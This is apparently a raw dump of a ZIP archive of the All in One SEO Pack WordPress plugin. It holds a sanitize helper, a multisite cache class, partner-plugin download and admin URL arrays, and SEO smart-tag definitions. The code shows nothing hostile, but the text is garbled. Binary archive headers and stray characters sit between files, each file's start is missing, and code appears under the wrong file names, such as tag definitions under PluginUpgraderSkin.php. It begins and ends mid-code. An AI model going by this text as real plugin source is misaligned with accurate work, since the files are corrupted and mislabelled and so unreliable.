mixed The sanitized variable. */ public function sanitize( $variable, $preserveHtml = false, $fieldsToPreserveHtml = [], $fieldName = '' ) { $type = gettype( $variable ); switch ( $type ) { case 'boolean': return (bool) $variable; case 'string': if ( $preserveHtml || in_array( $fieldName, $fieldsToPreserveHtml, true ) ) { return aioseo()->helpers->decodeHtmlEntities( sanitize_text_field( htmlspecialchars( $variable, ENT_NOQUOTES, 'UTF-8' ) ) ); } return sanitize_text_field( $variable ); case 'integer': return intval( $variable ); case 'float': case 'double': return floatval( $variable ); case 'array': $array = []; foreach ( (array) $variable as $k => $v ) { $array[ $k ] = $this->sanitize( $v, $preserveHtml, $fieldsToPreserveHtml, $k ); } return $array; default: return false; } } /** * Return the version number with a filter to enable users to hide the version. * * @since 4.3.7 * * @return string The current version or empty if the filter is active. Using ?aioseo-dev will override the filter. */ public function getAioseoVersion() { $version = aioseo()->version; if ( ! $this->isDev() && apply_filters( 'aioseo_hide_version_number', false ) ) { $version = ''; } return $version; } }PKÉ—[ˆÄh¨Ê Ê 5all-in-one-seo-pack/app/Common/Utils/NetworkCache.phpnu„[µü¤helpers->switchToBlog( aioseo()->helpers->getNetworkId() ); $value = parent::get( $key ); aioseo()->helpers->restoreCurrentBlog(); return $value; } /** * Updates the given cache or creates it if it doesn't exist. * * @since 4.2.5 * * @param string $key The cache key name. * @param mixed $value The value. * @param int $expiration The expiration time in seconds. Defaults to 24 hours. 0 to no expiration. * @return void */ public function update( $key, $value, $expiration = DAY_IN_SECONDS ) { if ( ! is_multisite() ) { parent::update( $key, $value, $expiration ); return; } aioseo()->helpers->switchToBlog( aioseo()->helpers->getNetworkId() ); parent::update( $key, $value, $expiration ); aioseo()->helpers->restoreCurrentBlog(); } /** * Deletes the given cache key. * * @since 4.2.5 * * @param string $key The cache key. * @return void */ public function delete( $key ) { if ( ! is_multisite() ) { parent::delete( $key ); return; } aioseo()->helpers->switchToBlog( aioseo()->helpers->getNetworkId() ); parent::delete( $key ); aioseo()->helpers->restoreCurrentBlog(); } /** * Clears all of our cache. * * @since 4.2.5 * * @return void */ public function clear() { if ( ! is_multisite() ) { parent::clear(); return; } aioseo()->helpers->switchToBlog( aioseo()->helpers->getNetworkId() ); parent::clear(); aioseo()->helpers->restoreCurrentBlog(); } /** * Clears all of our cache under a certain prefix. * * @since 4.2.5 * * @param string $prefix A prefix to clear or empty to clear everything. * @return void */ public function clearPrefix( $prefix ) { if ( ! is_multisite() ) { parent::clearPrefix( $prefix ); return; } aioseo()->helpers->switchToBlog( aioseo()->helpers->getNetworkId() ); parent::clearPrefix( $prefix ); aioseo()->helpers->restoreCurrentBlog(); } }PKÉ—[§Ð“¨¼'¼'Aall-in-one-seo-pack/app/Common/Utils/PluginUpgraderSilentAjax.phpnu„[µü¤ 'https://downloads.wordpress.org/plugin/broken-link-checker-seo.zip', 'optinMonster' => 'https://downloads.wordpress.org/plugin/optinmonster.zip', 'wpForms' => 'https://downloads.wordpress.org/plugin/wpforms-lite.zip', 'miLite' => 'https://downloads.wordpress.org/plugin/google-analytics-for-wordpress.zip', 'emLite' => 'https://downloads.wordpress.org/plugin/google-analytics-dashboard-for-wp.zip', 'wpMail' => 'https://downloads.wordpress.org/plugin/wp-mail-smtp.zip', 'rafflePress' => 'https://downloads.wordpress.org/plugin/rafflepress.zip', 'seedProd' => 'https://downloads.wordpress.org/plugin/coming-soon.zip', 'trustPulse' => 'https://downloads.wordpress.org/plugin/trustpulse-api.zip', 'instagramFeed' => 'https://downloads.wordpress.org/plugin/instagram-feed.zip', 'facebookFeed' => 'https://downloads.wordpress.org/plugin/custom-facebook-feed.zip', 'twitterFeed' => 'https://downloads.wordpress.org/plugin/custom-twitter-feeds.zip', 'youTubeFeed' => 'https://downloads.wordpress.org/plugin/feeds-for-youtube.zip', 'pushEngage' => 'https://downloads.wordpress.org/plugins/pushengage.zip', 'sugarCalendar' => 'https://downloads.wordpress.org/plugins/sugar-calendar-lite.zip', 'wpSimplePay' => 'https://downloads.wordpress.org/plugins/stripe.zip', 'easyDigitalDownloads' => 'https://downloads.wordpress.org/plugins/easy-digital-downloads.zip', 'wpcode' => 'https://downloads.wordpress.org/plugin/insert-headers-and-footers.zip', 'searchWp' => '', 'affiliateWp' => '', 'charitable' => 'https://downloads.wordpress.org/plugin/charitable.zip', 'duplicator' => 'https://downloads.wordpress.org/plugin/duplicator.zip' ]; /** * An array of links to install the plugins from wordpress.org. * * @since 4.0.0 * * @var array */ public $wpPluginLinks = [ 'brokenLinkChecker' => 'https://wordpress.org/plugins/broken-link-checker-seo/', 'optinMonster' => 'https://wordpress.org/plugin/optinmonster/', 'wpForms' => 'https://wordpress.org/plugin/wpforms-lite/', 'miLite' => 'https://wordpress.org/plugin/google-analytics-for-wordpress/', 'emLite' => 'https://wordpress.org/plugin/google-analytics-dashboard-for-wp/', 'wpMail' => 'https://wordpress.org/plugin/wp-mail-smtp/', 'rafflePress' => 'https://wordpress.org/plugin/rafflepress/', 'seedProd' => 'https://wordpress.org/plugin/coming-soon/', 'trustPulse' => 'https://wordpress.org/plugin/trustpulse-api/', 'instagramFeed' => 'https://wordpress.org/plugin/instagram-feed/', 'facebookFeed' => 'https://wordpress.org/plugin/custom-facebook-feed/', 'twitterFeed' => 'https://wordpress.org/plugin/custom-twitter-feeds/', 'youTubeFeed' => 'https://wordpress.org/plugin/feeds-for-youtube/', 'pushEngage' => 'https://wordpress.org/plugins/pushengage/', 'sugarCalendar' => 'https://wordpress.org/plugins/sugar-calendar-lite/', 'wpSimplePay' => 'https://wordpress.org/plugins/stripe/', 'searchWp' => 'https://searchwp.com/', 'affiliateWp' => 'https://affiliatewp.com/', 'wpcode' => 'https://wordpress.org/plugins/insert-headers-and-footers/', 'charitable' => 'https://wordpress.org/plugins/charitable/', 'duplicator' => 'https://wordpress.org/plugins/duplicator/' ]; /** * An array of slugs to check if plugins are activated. * * @since 4.0.0 * * @var array */ public $pluginSlugs = [ 'brokenLinkChecker' => 'broken-link-checker-seo/aioseo-broken-link-checker.php', 'optinMonster' => 'optinmonster/optin-monster-wp-api.php', 'wpForms' => 'wpforms-lite/wpforms.php', 'wpFormsPro' => 'wpforms/wpforms.php', 'miLite' => 'google-analytics-for-wordpress/googleanalytics.php', 'miPro' => 'google-analytics-premium/googleanalytics-premium.php', 'emLite' => 'google-analytics-dashboard-for-wp/gadwp.php', 'emPro' => 'exactmetrics-premium/exactmetrics-premium.php', 'wpMail' => 'wp-mail-smtp/wp_mail_smtp.php', 'wpMailPro' => 'wp-mail-smtp-pro/wp_mail_smtp.php', 'rafflePress' => 'rafflepress/rafflepress.php', 'rafflePressPro' => 'rafflepress-pro/rafflepress-pro.php', 'seedProd' => 'coming-soon/coming-soon.php', 'seedProdPro' => 'seedprod-coming-soon-pro-5/seedprod-coming-soon-pro-5.php', 'trustPulse' => 'trustpulse-api/trustpulse.php', 'instagramFeed' => 'instagram-feed/instagram-feed.php', 'instagramFeedPro' => 'instagram-feed-pro/instagram-feed.php', 'facebookFeed' => 'custom-facebook-feed/custom-facebook-feed.php', 'facebookFeedPro' => 'custom-facebook-feed-pro/custom-facebook-feed.php', 'twitterFeed' => 'custom-twitter-feeds/custom-twitter-feed.php', 'twitterFeedPro' => 'custom-twitter-feeds-pro/custom-twitter-feed.php', 'youTubeFeed' => 'feeds-for-youtube/youtube-feed.php', 'youTubeFeedPro' => 'youtube-feed-pro/youtube-feed.php', 'pushEngage' => 'pushengage/main.php', 'sugarCalendar' => 'sugar-calendar-lite/sugar-calendar-lite.php', 'sugarCalendarPro' => 'sugar-calendar/sugar-calendar.php', 'wpSimplePay' => 'stripe/stripe-checkout.php', 'wpSimplePayPro' => 'wp-simple-pay-pro-3/simple-pay.php', 'easyDigitalDownloads' => 'easy-digital-downloads/easy-digital-downloads.php', 'easyDigitalDownloadsPro' => 'easy-digital-downloads-pro/easy-digital-downloads.php', 'searchWp' => 'searchwp/index.php', 'affiliateWp' => 'affiliate-wp/affiliate-wp.php', 'wpcode' => 'insert-headers-and-footers/ihaf.php', 'wpcodePro' => 'wpcode-premium/wpcode.php', 'charitable' => 'charitable/charitable.php', 'duplicator' => 'duplicator/duplicator.php' ]; /** * An array of links for admin settings. * * @since 4.0.0 * * @var array */ public $pluginAdminUrls = [ 'brokenLinkChecker' => 'admin.php?page=broken-link-checker#/settings', 'optinMonster' => 'admin.php?page=optin-monster-api-settings', 'wpForms' => 'admin.php?page=wpforms-settings', 'wpFormsPro' => 'admin.php?page=wpforms-settings', 'miLite' => 'admin.php?page=monsterinsights_settings#/', 'miPro' => 'admin.php?page=monsterinsights_settings#/', 'emLite' => 'admin.php?page=exactmetrics_settings#/', 'emPro' => 'admin.php?page=exactmetrics_settings#/', 'wpMail' => 'admin.php?page=wp-mail-smtp', 'wpMailPro' => 'admin.php?page=wp-mail-smtp', 'seedProd' => 'admin.php?page=seedprod_lite', 'seedProdPro' => 'admin.php?page=seedprod_pro', 'rafflePress' => 'admin.php?page=rafflepress_lite#/settings', 'rafflePressPro' => 'admin.php?page=rafflepress_pro#/settings', 'trustPulse' => 'admin.php?page=trustpulse', 'instagramFeed' => 'admin.php?page=sb-instagram-feed', 'instagramFeedPro' => 'admin.php?page=sb-instagram-feed', 'facebookFeed' => 'admin.php?page=cff-top', 'facebookFeedPro' => 'admin.php?page=cff-top', 'twitterFeed' => 'admin.php?page=ctf-settings', 'twitterFeedPro' => 'admin.php?page=ctf-settings', 'youTubeFeed' => 'admin.php?page=youtube-feed-settings', 'youTubeFeedPro' => 'admin.php?page=youtube-feed-settings', 'pushEngage' => 'admin.php?page=pushengage', 'sugarCalendar' => 'admin.php?page=sugar-calendar', 'sugarCalendarPro' => 'admin.php?page=sugar-calendar', 'wpSimplePay' => 'edit.php?post_type=simple-pay', 'wpSimplePayPro' => 'edit.php?post_type=simple-pay', 'easyDigitalDownloads' => 'edit.php?post_type=download&page=edd-settings', 'easyDigitalDownloadsPro' => 'edit.php?post_type=download&page=edd-settings', 'searchWp' => 'options-general.php?page=searchwp', 'affiliateWp' => 'admin.php?page=affiliate-wp', 'wpcode' => 'admin.php?page=wpcode', 'wpcodePro' => 'admin.php?page=wpcode', 'charitable' => 'admin.php?page=charitable-settings', 'duplicator' => 'admin.php?page=duplicator-settings' ]; /** * An array of slugs that work in the network admin. * * @since 4.2.8 * * @var array */ public $hasNetworkAdmin = [ 'miLite' => 'admin.php?page=monsterinsights_network', 'miPro' => 'admin.php?page=monsterinsights_network', 'emLite' => 'admin.php?page=exactmetrics_network', 'emPro' => 'admin.php?page=exactmetrics_network', 'wpMail' => 'admin.php?page=wp-mail-smtp', 'wpMailPro' => 'admin.php?page=wp-mail-smtp', ]; }PKÉ—[Å2šw¯¯;all-in-one-seo-pack/app/Common/Utils/PluginUpgraderSkin.phpnu„[µü¤ [ 'author_link', 'author_link_alt', 'author_name', 'featured_image', 'post_date', 'post_link', 'post_link_alt', 'post_title', 'site_link', 'site_link_alt', 'site_title', 'taxonomy_title' ], 'homePage' => [ 'author_first_name', 'author_last_name', 'author_name', 'current_date', 'current_day', 'current_month', 'current_year', 'post_date', 'post_day', 'post_excerpt', 'post_excerpt_only', 'post_month', 'post_title', 'post_year', 'separator_sa', 'site_title', 'tagline' ], 'postTitle' => [ 'author_first_name', 'author_last_name', 'author_name', 'taxonomy_title', 'categories', 'current_date', 'current_day', 'current_month', 'current_year', 'custom_field', 'tax_name', 'permalink', 'post_content', 'post_date', 'post_day', 'post_excerpt', 'post_excerpt_only', 'post_month', 'post_title', 'post_year', 'separator_sa', 'site_title', 'tagline' ], 'postDescription' => [ 'author_first_name', 'author_last_name', 'author_name', 'taxonomy_title', 'current_date', 'current_day', 'current_month', 'current_year', 'custom_field', 'tax_name', 'permalink', 'post_content', 'post_date', 'post_day', 'post_excerpt', 'post_excerpt_only', 'post_month', 'post_title', 'post_year', 'separator_sa', 'site_title', 'tagline' ], 'authorTitle' => [ 'author_first_name', 'author_last_name', 'author_name', 'current_date', 'current_day', 'current_month', 'current_year', 'custom_field', 'separator_sa', 'site_title', 'tagline', ], 'authorDescription' => [ 'author_bio', 'author_first_name', 'author_last_name', 'author_name', 'current_date', 'current_day', 'current_month', 'current_year', 'custom_field', 'separator_sa', 'site_title', 'tagline', ], 'dateTitle' => [ 'archive_title', 'current_date', 'current_day', 'current_month', 'current_year', 'custom_field', 'archive_date', 'post_day', 'post_month', 'post_year', 'separator_sa', 'site_title', 'tagline', ], 'dateDescription' => [ 'archive_title', 'current_date', 'current_day', 'current_month', 'current_year', 'archive_date', 'post_day', 'post_month', 'post_year', 'custom_field', 'separator_sa', 'site_title', 'tagline', ], 'searchTitle' => [ 'current_date', 'current_day', 'current_month', 'current_year', 'custom_field', 'search_term', 'separator_sa', 'site_title', 'tagline', ], 'searchDescription' => [ 'current_date', 'current_day', 'current_month', 'current_year', 'custom_field', 'search_term', 'separator_sa', 'site_title', 'tagline', ], 'siteTitle' => [ 'current_date', 'current_day', 'current_month', 'current_year', 'permalink', 'post_date', 'post_day', 'post_month', 'post_year', 'search_term', 'separator_sa', 'tagline' ], 'siteDescription' => [ 'current_date', 'current_day', 'current_month', 'current_year', 'permalink', 'post_date', 'post_day', 'post_month', 'post_year', 'search_term', 'separator_sa', 'tagline' ], 'taxonomyTitle' => [ 'taxonomy_description', 'taxonomy_title', 'current_date', 'current_day', 'current_month', 'current_year', 'custom_field', 'permalink', 'separator_sa', 'site_title', 'tagline', 'tax_parent_name' ], 'taxonomyDescription' => [ 'taxonomy_description', 'taxonomy_title', 'current_date', 'current_day', 'current_month', 'current_year', 'custom_field', 'permalink', 'separator_sa', 'site_title', 'tagline' ], 'descriptionFormat' => [ 'description', 'current_date', 'current_day', 'current_month', 'current_year', 'custom_field', 'post_title', 'post_date', 'post_month', 'post_year', 'separator_sa', 'site_title', 'tagline', ], 'pagedFormat' => [ 'page_number', 'separator_sa' ], 'schema' => [ 'author_first_name', 'author_last_name', 'author_name', 'author_url', 'taxonomy_title', 'categories', 'current_date', 'current_day', 'current_month', 'current_year', 'custom_field', 'tax_name', 'permalink', 'post_content', 'post_date', 'post_day', 'post_excerpt', 'post_excerpt_only', 'post_month', 'post_title', 'post_year', 'separator_sa', 'site_title', 'tagline' ] ]; /** * Class Contructor. * * @since 4.0.0 */ public function __construct() { $this->tags = [ [ 'id' => 'alt_tag', 'name' => __( 'Image Alt Tag', 'all-in-one-seo-pack' ), 'description' => __( 'Your image\'s alt tag attribute.', 'all-in-one-seo-pack' ) ], [ 'id' => 'attachment_caption', 'name' => __( 'Media Caption', 'all-in-one-seo-pack' ), 'description' => __( 'Caption for the current media file.', 'all-in-one-seo-pack' ) ], [ 'id' => 'attachment_description', 'name' => __( 'Media Description', 'all-in-one-seo-pack' ), 'description' => __( 'Description for the current media file.', 'all-in-one-seo-pack' ) ], [ 'id' => 'archive_date', 'name' => __( 'Archive Date', 'all-in-one-seo-pack' ), 'description' => __( 'The date of the current archive, localized.', 'all-in-one-seo-pack' ) ], [ 'id' => 'author_link', 'name' => __( 'Author Link', 'all-in-one-seo-pack' ), 'description' => __( 'Author archive link (name as text).', 'all-in-one-seo-pack' ) ], [ 'id' => 'author_link_alt', 'name' => __( 'Author Link (Alt)', 'all-in-one-seo-pack' ), 'description' => __( 'Author archive link (link as text).', 'all-in-one-seo-pack' ) ], [ 'id' => 'author_bio', 'name' => __( 'Author Biography', 'all-in-one-seo-pack' ), 'description' => __( 'The biography of the author.', 'all-in-one-seo-pack' ) ], [ 'id' => 'author_name', 'name' => __( 'Author Name', 'all-in-one-seo-pack' ), 'description' => __( 'The display name of the post author.', 'all-in-one-seo-pack' ) ], [ 'id' => 'author_first_name', 'name' => __( 'Author First Name', 'all-in-one-seo-pack' ), 'description' => __( 'The first name of the post author.', 'all-in-one-seo-pack' ) ], [ 'id' => 'author_last_name', 'name' => __( 'Author Last Name', 'all-in-one-seo-pack' ), 'description' => __( 'The last name of the post author.', 'all-in-one-seo-pack' ) ], [ 'id' => 'author_url', 'name' => __( 'Author URL', 'all-in-one-seo-pack' ), 'description' => __( 'The URL of the author page.', 'all-in-one-seo-pack' ) ], [ 'id' => 'archive_title', 'name' => __( 'Archive Title', 'all-in-one-seo-pack' ), 'description' => __( 'The title of the current archive.', 'all-in-one-seo-pack' ) ], [ 'id' => 'blog_link', 'name' => __( 'Site Link', 'all-in-one-seo-pack' ), 'description' => __( 'Site link (link as text).', 'all-in-one-seo-pack' ), 'html' => true ], [ 'id' => 'blog_title', 'name' => __( 'Site Title', 'all-in-one-seo-pack' ), 'description' => __( 'Your site title.', 'all-in-one-seo-pack' ), 'deprecated' => true ], [ 'id' => 'category', 'name' => __( 'Category', 'all-in-one-seo-pack' ), 'description' => __( 'Current or first category title.', 'all-in-one-seo-pack' ), 'deprecated' => true ], [ 'id' => 'categories', 'name' => __( 'Categories', 'all-in-one-seo-pack' ), 'description' => __( 'All categories that are assigned to the current post, comma-separated.', 'all-in-one-seo-pack' ) ], [ 'id' => 'category_link', // Translators: 1 - The type of page (Post, Page, Category, Tag, etc.). 'name' => sprintf( __( '%1$s Link', 'all-in-one-seo-pack' ), 'Category' ), 'description' => __( 'Current or first term link (name as text).', 'all-in-one-seo-pack' ), 'html' => true ], [ 'id' => 'category_link_alt', // Translators: 1 - The type of page (Post, Page, Category, Tag, etc.). 'name' => sprintf( __( '%1$s Link (Alt)', 'all-in-one-seo-pack' ), 'Category' ), 'description' => __( 'Current or first term link (link as text).', 'all-in-one-seo-pack' ), 'html' => true ], [ 'id' => 'current_date', 'name' => __( 'Current Date', 'all-in-one-seo-pack' ), 'description' => __( 'The current date, localized.', 'all-in-one-seo-pack' ) ], [ 'id' => 'current_day', 'name' => __( 'Current Day', 'all-in-one-seo-pack' ), 'description' => __( 'The current day of the month, localized.', 'all-in-one-seo-pack' ) ], [ 'id' => 'current_month', 'name' => __( 'Current Month', 'all-in-one-seo-pack' ), 'description' => __( 'The current month, localized.', 'all-in-one-seo-pack' ) ], [ 'id' => 'current_year', 'name' => __( 'Current Year', 'all-in-one-seo-pack' ), 'description' => __( 'The current year, localized.', 'all-in-one-seo-pack' ) ], [ 'id' => 'custom_field', 'name' => __( 'Custom Field', 'all-in-one-seo-pack' ), 'description' => __( 'A custom field from the current page/post.', 'all-in-one-seo-pack' ), 'custom' => true ], [ 'id' => 'description', 'name' => __( 'Description', 'all-in-one-seo-pack' ), 'description' => __( 'The meta description for the current page/post.', 'all-in-one-seo-pack' ) ], [ 'id' => 'featured_image', 'name' => __( 'Featured Image', 'all-in-one-seo-pack' ), 'description' => __( 'The featured image of the current page/post.', 'all-in-one-seo-pack' ) ], [ 'id' => 'page_number', 'name' => __( 'Page Number', 'all-in-one-seo-pack' ), 'description' => __( 'The page number for the current paginated page.', 'all-in-one-seo-pack' ) ], [ 'id' => 'parent_title', 'name' => __( 'Parent Title', 'all-in-one-seo-pack' ), 'description' => __( 'The title of the parent post of the current page/post.', 'all-in-one-seo-pack' ) ], [ 'id' => 'permalink', 'name' => __( 'Permalink', 'all-in-one-seo-pack' ), 'description' => __( 'The permalink for the current page/post.', 'all-in-one-seo-pack' ) ], [ 'id' => 'post_content', // Translators: 1 - The singular name of the post type. 'name' => sprintf( __( '%1$s Content', 'all-in-one-seo-pack' ), 'Post' ), 'description' => __( 'The content of your page/post.', 'all-in-one-seo-pack' ) ], [ 'id' => 'post_date', // Translators: 1 - The singular name of the post type. 'name' => sprintf( __( '%1$s Date', 'all-in-one-seo-pack' ), 'Post' ), 'description' => __( 'The date when the page/post was published, localized.', 'all-in-one-seo-pack' ) ], [ 'id' => 'post_day', // Translators: 1 - The singular name of the post type. 'name' => sprintf( __( '%1$s Day', 'all-in-one-seo-pack' ), 'Post' ), 'description' => __( 'The day of the month when the page/post was published, localized.', 'all-in-one-seo-pack' ) ], [ 'id' => 'post_excerpt', // Translators: 1 - The singular name of the post type. 'name' => sprintf( __( '%1$s Excerpt', 'all-in-one-seo-pack' ), 'Post' ), 'description' => __( 'The excerpt defined on your page/post.', 'all-in-one-seo-pack' ) ], [ 'id' => 'post_excerpt_only', // Translators: 1 - The singular name of the post type. 'name' => sprintf( __( '%1$s Excerpt Only', 'all-in-one-seo-pack' ), 'Post' ), 'description' => __( 'The excerpt defined on your page/post. Will not fall back to the post content.', 'all-in-one-seo-pack' ) ], [ 'id' => 'post_month', // Translators: 1 - The singular name of the post type. 'name' => sprintf( __( '%1$s Month', 'all-in-one-seo-pack' ), 'Post' ), 'description' => __( 'The month when the page/post was published, localized.', 'all-in-one-seo-pack' ) ], [ 'id' => 'post_year', // Translators: 1 - The singular name of the post type. 'name' => sprintf( __( '%1$s Year', 'all-in-one-seo-pack' ), 'Post' ), 'description' => __( 'The year when the page/post was published, localized.', 'all-in-one-seo-pack' ) ], [ 'id' => 'post_link', // Translators: 1 - The type of page (Post, Page, Category, Tag, etc.). 'name' => sprintf( __( '%1$s Link', 'all-in-one-seo-pack' ), 'Post' ), 'description' => __( 'Post link (name as anchor text).', 'all-in-one-seo-pack' ), 'html' => true ], [ 'id' => 'post_link_alt', // Translators: 1 - The type of page (Post, Page, Category, Tag, etc.). 'name' => sprintf( __( '%1$s Link (Alt)', 'all-in-one-seo-pack' ), 'Post' ), 'description' => __( 'Post link (link as anchor text).', 'all-in-one-seo-pack' ), 'html' => true ], [ 'id' => 'post_title', // Translators: 1 - The type of page (Post, Page, Category, Tag, etc.). 'name' => sprintf( __( '%1$s Title', 'all-in-one-seo-pack' ), 'Post' ), 'description' => __( 'The original title of the current post.', 'all-in-one-seo-pack' ) ], [ 'id' => 'search_term', 'name' => __( 'Search Term', 'all-in-one-seo-pack' ), 'description' => __( 'The term the user is searching for.', 'all-in-one-seo-pack' ) ], [ 'id' => 'separator_sa', 'name' => __( 'Separator', 'all-in-one-seo-pack' ), 'description' => __( 'The separator defined in the search appearance settings.', 'all-in-one-seo-pack' ) ], [ 'id' => 'site_description', 'name' => __( 'Site Description', 'all-in-one-seo-pack' ), 'description' => __( 'The description for your site.', 'all-in-one-seo-pack' ), 'deprecated' => true ], [ 'id' => 'site_link', 'name' => __( 'Site Link', 'all-in-one-seo-pack' ), 'description' => __( 'Site link (name as text).', 'all-in-one-seo-pack' ), 'html' => true ], [ 'id' => 'site_link_alt', 'name' => __( 'Site Link (Alt)', 'all-in-one-seo-pack' ), 'description' => __( 'Site link (link as text).', 'all-in-one-seo-pack' ), 'html' => true ], [ 'id' => 'site_title', 'name' => __( 'Site Title', 'all-in-one-seo-pack' ), 'description' => __( 'Your site title.', 'all-in-one-seo-pack' ), 'html' => true ], [ 'id' => 'tagline', 'name' => __( 'Tagline', 'all-in-one-seo-pack' ), 'description' => __( 'The tagline for your site, set in the general settings.', 'all-in-one-seo-pack' ) ], [ 'id' => 'tax_name', 'name' => __( 'Taxonomy Name', 'all-in-one-seo-pack' ), 'description' => __( 'The name of the first term of a given taxonomy that is assigned to the current page/post.', 'all-in-one-seo-pack' ), 'custom' => true ], [ 'id' => 'tax_parent_name', 'name' => __( 'Parent Term', 'all-in-one-seo-pack' ), 'description' => __( 'The name of the parent term of the current term.', 'all-in-one-seo-pack' ), ], [ 'id' => 'taxonomy_description', // Translators: 1 - The singular name of the current taxonomy. 'name' => sprintf( __( '%1$s Description', 'all-in-one-seo-pack' ), 'Category' ), 'description' => __( 'The description of the primary term, first assigned term or the current term.', 'all-in-one-seo-pack' ) ], [ 'id' => 'taxonomy_title', // Translators: 1 - The type of page (Post, Page, Category, Tag, etc.). 'name' => sprintf( __( '%1$s Title', 'all-in-one-seo-pack' ), 'Category' ), 'description' => __( 'The title of the primary term, first assigned term or the current term.', 'all-in-one-seo-pack' ) ] ]; } /** * Returns all the tags. * * @since 4.0.0 * * @param bool $sampleData Whether or not to fill empty values with sample data. * @return array An array of tags. */ public function all( $sampleData = false ) { $tags = $this->tags; foreach ( $tags as $key => $tag ) { $tags[ $key ]['value'] = $this->getTagValue( $tag, null, $sampleData ); } usort( $tags, function ( $a, $b ) { return $a['name'] < $b['name'] ? -1 : ( $a['name'] > $b['name'] ? 1 : 0 ); } ); return [ 'tags' => $tags, 'context' => $this->getContext() ]; } /** * Add the context for all the post/page types. * * @since 4.0.0 * * @return array An array of contextual data. */ public function getContext() { $context = $this->context; // Post types including CPT's. foreach ( aioseo()->helpers->getPublicPostTypes() as $postType ) { if ( 'post' === $postType['name'] ) { continue; } if ( $postType['hasArchive'] ) { $context[ $postType['name'] . 'ArchiveTitle' ] = $context['dateTitle']; $context[ $postType['name'] . 'ArchiveDescription' ] = $context['dateDescription']; } $context[ $postType['name'] . 'Title' ] = $context['postTitle']; $context[ $postType['name'] . 'Description' ] = $context['postDescription']; // Check if the post type has an excerpt. if ( empty( $postType['hasExcerpt'] ) ) { $phpTitleKey = array_search( 'post_excerpt', $context[ $postType['name'] . 'Title' ], true ); if ( false !== $phpTitleKey ) { unset( $context[ $postType['name'] . 'Title' ][ $phpTitleKey ] ); } $phpTitleKey = array_search( 'post_excerpt_only', $context[ $postType['name'] . 'Title' ], true ); if ( false !== $phpTitleKey ) { unset( $context[ $postType['name'] . 'Title' ][ $phpTitleKey ] ); } $phpDescriptionKey = array_search( 'post_excerpt', $context[ $postType['name'] . 'Description' ], true ); if ( false !== $phpDescriptionKey ) { unset( $context[ $postType['name'] . 'Description' ][ $phpDescriptionKey ] ); } $phpDescriptionKey = array_search( 'post_excerpt_only', $context[ $postType['name'] . 'Description' ], true ); if ( false !== $phpDescriptionKey ) { unset( $context[ $postType['name'] . 'Description' ][ $phpDescriptionKey ] ); } asort( $context[ $postType['name'] . 'Title' ] ); $context[ $postType['name'] . 'Title' ] = array_values( $context[ $postType['name'] . 'Title' ] ); asort( $context[ $postType['name'] . 'Description' ] ); $context[ $postType['name'] . 'Description' ] = array_values( $context[ $postType['name'] . 'Description' ] ); } if ( 'page' === $postType['name'] ) { $phpTitleKey = array_search( 'taxonomy_title', $context['pageTitle'], true ); if ( false !== $phpTitleKey ) { unset( $context['pageTitle'][ $phpTitleKey ] ); } $phpTitleKey = array_search( 'category', $context['pageTitle'], true ); if ( false !== $phpTitleKey ) { unset( $context['pageTitle'][ $phpTitleKey ] ); } $phpDescriptionKey = array_search( 'taxonomy_title', $context['pageDescription'], true ); if ( false !== $phpDescriptionKey ) { unset( $context['pageDescription'][ $phpDescriptionKey ] ); } $phpDescriptionKey = array_search( 'category', $context['pageDescription'], true ); if ( false !== $phpDescriptionKey ) { unset( $context['pageDescription'][ $phpDescriptionKey ] ); } $context['pageTitle'] = array_values( $context['pageTitle'] ); $context['pageDescription'] = array_values( $context['pageDescription'] ); asort( $context['pageTitle'] ); $context['pageTitle'] = array_values( $context['pageTitle'] ); asort( $context['pageDescription'] ); $context['pageDescription'] = array_values( $context['pageDescription'] ); } if ( 'attachment' === $postType['name'] ) { $context['attachmentTitle'][] = 'alt_tag'; asort( $context['attachmentTitle'] ); $context['attachmentTitle'] = array_values( $context['attachmentTitle'] ); $context['attachmentDescription'][] = 'alt_tag'; asort( $context['attachmentDescription'] ); $context['attachmentDescription'] = array_values( $context['attachmentDescription'] ); $phpTitleKey = array_search( 'taxonomy_title', $context['attachmentTitle'], true ); if ( false !== $phpTitleKey ) { unset( $context['attachmentTitle'][ $phpTitleKey ] ); } $phpTitleKey = array_search( 'post_content', $context['attachmentTitle'], true ); if ( false !== $phpTitleKey ) { unset( $context['attachmentTitle'][ $phpTitleKey ] ); } $phpTitleKey = array_search( 'post_excerpt', $context['attachmentTitle'], true ); if ( false !== $phpTitleKey ) { unset( $context['attachmentTitle'][ $phpTitleKey ] ); } $phpTitleKey = array_search( 'post_excerpt_only', $context['attachmentTitle'], true ); if ( false !== $phpTitleKey ) { unset( $context['attachmentTitle'][ $phpTitleKey ] ); } $phpDescriptionKey = array_search( 'taxonomy_title', $context['attachmentDescription'], true ); if ( false !== $phpDescriptionKey ) { unset( $context['attachmentDescription'][ $phpDescriptionKey ] ); } $phpDescriptionKey = array_search( 'post_content', $context['attachmentDescription'], true ); if ( false !== $phpDescriptionKey ) { unset( $context['attachmentDescription'][ $phpDescriptionKey ] ); } $phpDescriptionKey = array_search( 'post_excerpt', $context['attachmentDescription'], true ); if ( false !== $phpDescriptionKey ) { unset( $context['attachmentDescription'][ $phpDescriptionKey ] ); } $phpDescriptionKey = array_search( 'post_excerpt_only', $context['attachmentDescription'], true ); if ( false !== $phpDescriptionKey ) { unset( $context['attachmentDescription'][ $phpDescriptionKey ] ); } $context['attachmentTitle'] = array_merge( $context['attachmentTitle'], [ 'attachment_caption', 'attachment_description' ] ); $context['attachmentDescription'] = array_merge( $context['attachmentDescription'], [ 'attachment_caption', 'attachment_description' ] ); asort( $context['attachmentTitle'] ); $context['attachmentTitle'] = array_values( $context['attachmentTitle'] ); asort( $context['attachmentDescription'] ); $context['attachmentDescription'] = array_values( $context['attachmentDescription'] ); } if ( ! in_array( 'category', get_object_taxonomies( $postType['name'] ), true ) ) { $phpTitleKey = array_search( 'categories', $context[ $postType['name'] . 'Title' ], true ); if ( false !== $phpTitleKey ) { unset( $context[ $postType['name'] . 'Title' ][ $phpTitleKey ] ); } $phpTitleKey = array_search( 'categories', $context[ $postType['name'] . 'Description' ], true ); if ( false !== $phpTitleKey ) { unset( $context[ $postType['name'] . 'Description' ][ $phpTitleKey ] ); } asort( $context[ $postType['name'] . 'Title' ] ); $context[ $postType['name'] . 'Title' ] = array_values( $context[ $postType['name'] . 'Title' ] ); asort( $context[ $postType['name'] . 'Description' ] ); $context[ $postType['name'] . 'Description' ] = array_values( $context[ $postType['name'] . 'Description' ] ); } if ( $postType['hierarchical'] ) { $context[ $postType['name'] . 'Title' ][] = 'parent_title'; } } // Taxonomies including from CPT's. foreach ( 